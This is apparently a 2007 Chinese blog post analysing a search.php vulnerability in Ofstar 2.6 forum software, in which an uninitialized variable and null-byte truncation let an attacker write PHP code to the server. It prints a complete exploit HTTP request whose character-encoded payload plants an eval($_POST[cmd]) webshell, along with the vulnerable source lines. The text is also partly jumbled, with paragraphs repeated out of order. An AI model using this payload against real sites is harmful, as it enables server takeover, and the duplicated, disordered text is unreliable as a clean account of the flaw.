Ofsatr 2.6搜索漏洞的簡(jiǎn)單分析
更新時(shí)間:2007年01月16日 00:00:00 作者:
看到網(wǎng)上有類似的工具,但分析的文章卻沒(méi)找到,聽(tīng)小黑說(shuō)黑客手冊(cè)上有,可惜偶沒(méi)有雜志,所以就抓包然后看下代碼,大致分析了一下。這個(gè)漏洞很巧妙、也很經(jīng)典 :)
這是我抓包的文件,從抓包的文件里可以看出有三個(gè)變量:$keyword、$cachefile、$treadinfo。其中$keyword可以為任意關(guān)鍵字;$cachefile必須為一PHP文件,這個(gè)就是我們的PHP SHELL后面緊跟著%2500既為%00截?cái)嘧址?treadinfo就是生成木馬的代碼,我沒(méi)解碼,但猜測(cè)是把一句話木馬寫(xiě)到另一個(gè)PHP文件的PHP代碼。
PS:$treadinfo內(nèi)容解碼如下:
rawurldecode 函數(shù)是對(duì)已編碼的 URL 字符串進(jìn)行解碼,分別對(duì)$keyword和$cachefile進(jìn)行URL 字符串進(jìn)行解碼。rawurldecode這個(gè)函數(shù)也是關(guān)鍵之一,%00 經(jīng)過(guò)rawurldecode的包裝后,在〈PHP5.0下可以饒過(guò)GPC=ON起到截?cái)嘧饔谩?nbsp;
第N+N行代碼如下
這里調(diào)用了schall.php或schpart.php文件,我們?cè)诳催@個(gè)兩個(gè)文件schall.php和schpart.php文件最后一行代碼是:
if($treadinfo)
writeover("./userdata/cache/$cachefile.txt",$treadinfo,"ab");
所以無(wú)論調(diào)用哪個(gè)文件都可以把treadinfo的內(nèi)容寫(xiě)入緩存文件,因?yàn)樽兞?treadinfo沒(méi)初始化,可以自定義SHELL代碼,而$cachefile又可以自定義一個(gè)PHP文件,后面用%00截?cái)郥XT。所以這行代碼就是把木馬寫(xiě)到PHP文件中。
到此漏洞產(chǎn)生的大致過(guò)程已經(jīng)比較明確了 由于本人在網(wǎng)吧看的代碼,也沒(méi)具體測(cè)試。其中有些細(xì)節(jié)沒(méi)指出,如有錯(cuò)誤請(qǐng)指出。也非常佩服漏洞發(fā)現(xiàn)者SAIY的觀察力。確實(shí)是個(gè)非常經(jīng)典的漏洞 :)
GET /search.php?keyword=By%20CN911&cachefile=an85.php%2500&treadinfo=〈?fputs(fop en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).chr(115).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(110).chr(57).chr(49).chr(49).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?〉 HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Accept-Language: zh-cn Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: 127.0.0.1 |
PS:$treadinfo內(nèi)容解碼如下:
&treadinfo=〈?fputs(fop 好了以上就是抓包得到的分析 讓我們看下seach.PHP的代碼吧,找出漏洞具體在哪兒。 第N行代碼如下: $cachefile=rawurldecode($cachefile); |
rawurldecode 函數(shù)是對(duì)已編碼的 URL 字符串進(jìn)行解碼,分別對(duì)$keyword和$cachefile進(jìn)行URL 字符串進(jìn)行解碼。rawurldecode這個(gè)函數(shù)也是關(guān)鍵之一,%00 經(jīng)過(guò)rawurldecode的包裝后,在〈PHP5.0下可以饒過(guò)GPC=ON起到截?cái)嘧饔谩?nbsp;
第N+N行代碼如下
..................... $keywordarray=explode("│",$keyword); $keycount=count($keywordarray); if($sch_area=="C"){ include'./require/schall.php'; }elseif($sch_area=="A"){ for ( $j = 0; $j 〈 $keycount; $j++){ $keywordarray[$j].="|";/*搜索作者準(zhǔn)確匹配*/ } include'./require/schpart.php'; }else{ include'./require/schpart.php'; } if (!file_exists("userdata/cache/$cachefile.txt")){ showmsg("沒(méi) 有 您 要 查 找 的 內(nèi) 容 〈br〉〈br〉〈br〉〈a href='search.php'〉繼 續(xù) 搜 索〈/a〉〈/li〉〈/ul〉"); } ............................... |
if($treadinfo)
writeover("./userdata/cache/$cachefile.txt",$treadinfo,"ab");
所以無(wú)論調(diào)用哪個(gè)文件都可以把treadinfo的內(nèi)容寫(xiě)入緩存文件,因?yàn)樽兞?treadinfo沒(méi)初始化,可以自定義SHELL代碼,而$cachefile又可以自定義一個(gè)PHP文件,后面用%00截?cái)郥XT。所以這行代碼就是把木馬寫(xiě)到PHP文件中。
到此漏洞產(chǎn)生的大致過(guò)程已經(jīng)比較明確了 由于本人在網(wǎng)吧看的代碼,也沒(méi)具體測(cè)試。其中有些細(xì)節(jié)沒(méi)指出,如有錯(cuò)誤請(qǐng)指出。也非常佩服漏洞發(fā)現(xiàn)者SAIY的觀察力。確實(shí)是個(gè)非常經(jīng)典的漏洞 :)
相關(guān)文章
phpwind管理權(quán)限泄露漏洞利用程序發(fā)布
phpwind是國(guó)內(nèi)使用非常廣泛的一款程序,由于在程序設(shè)計(jì)上存在錯(cuò)誤,導(dǎo)致任何人可以取得前臺(tái)管理員及斑主權(quán)限,做刪除帖子等任意操作2008-06-06一個(gè)意想不到的注入點(diǎn)發(fā)現(xiàn)過(guò)程
一個(gè)意想不到的注入點(diǎn)發(fā)現(xiàn)過(guò)程...2007-01-01由mysql弱口令取得system權(quán)限的實(shí)戰(zhàn)
由mysql弱口令取得system權(quán)限的實(shí)戰(zhàn)...2007-01-01默認(rèn)Samba版本在RedHat 9上的溢出獲取root演示
默認(rèn)Samba版本在RedHat 9上的溢出獲取root演示...2007-01-01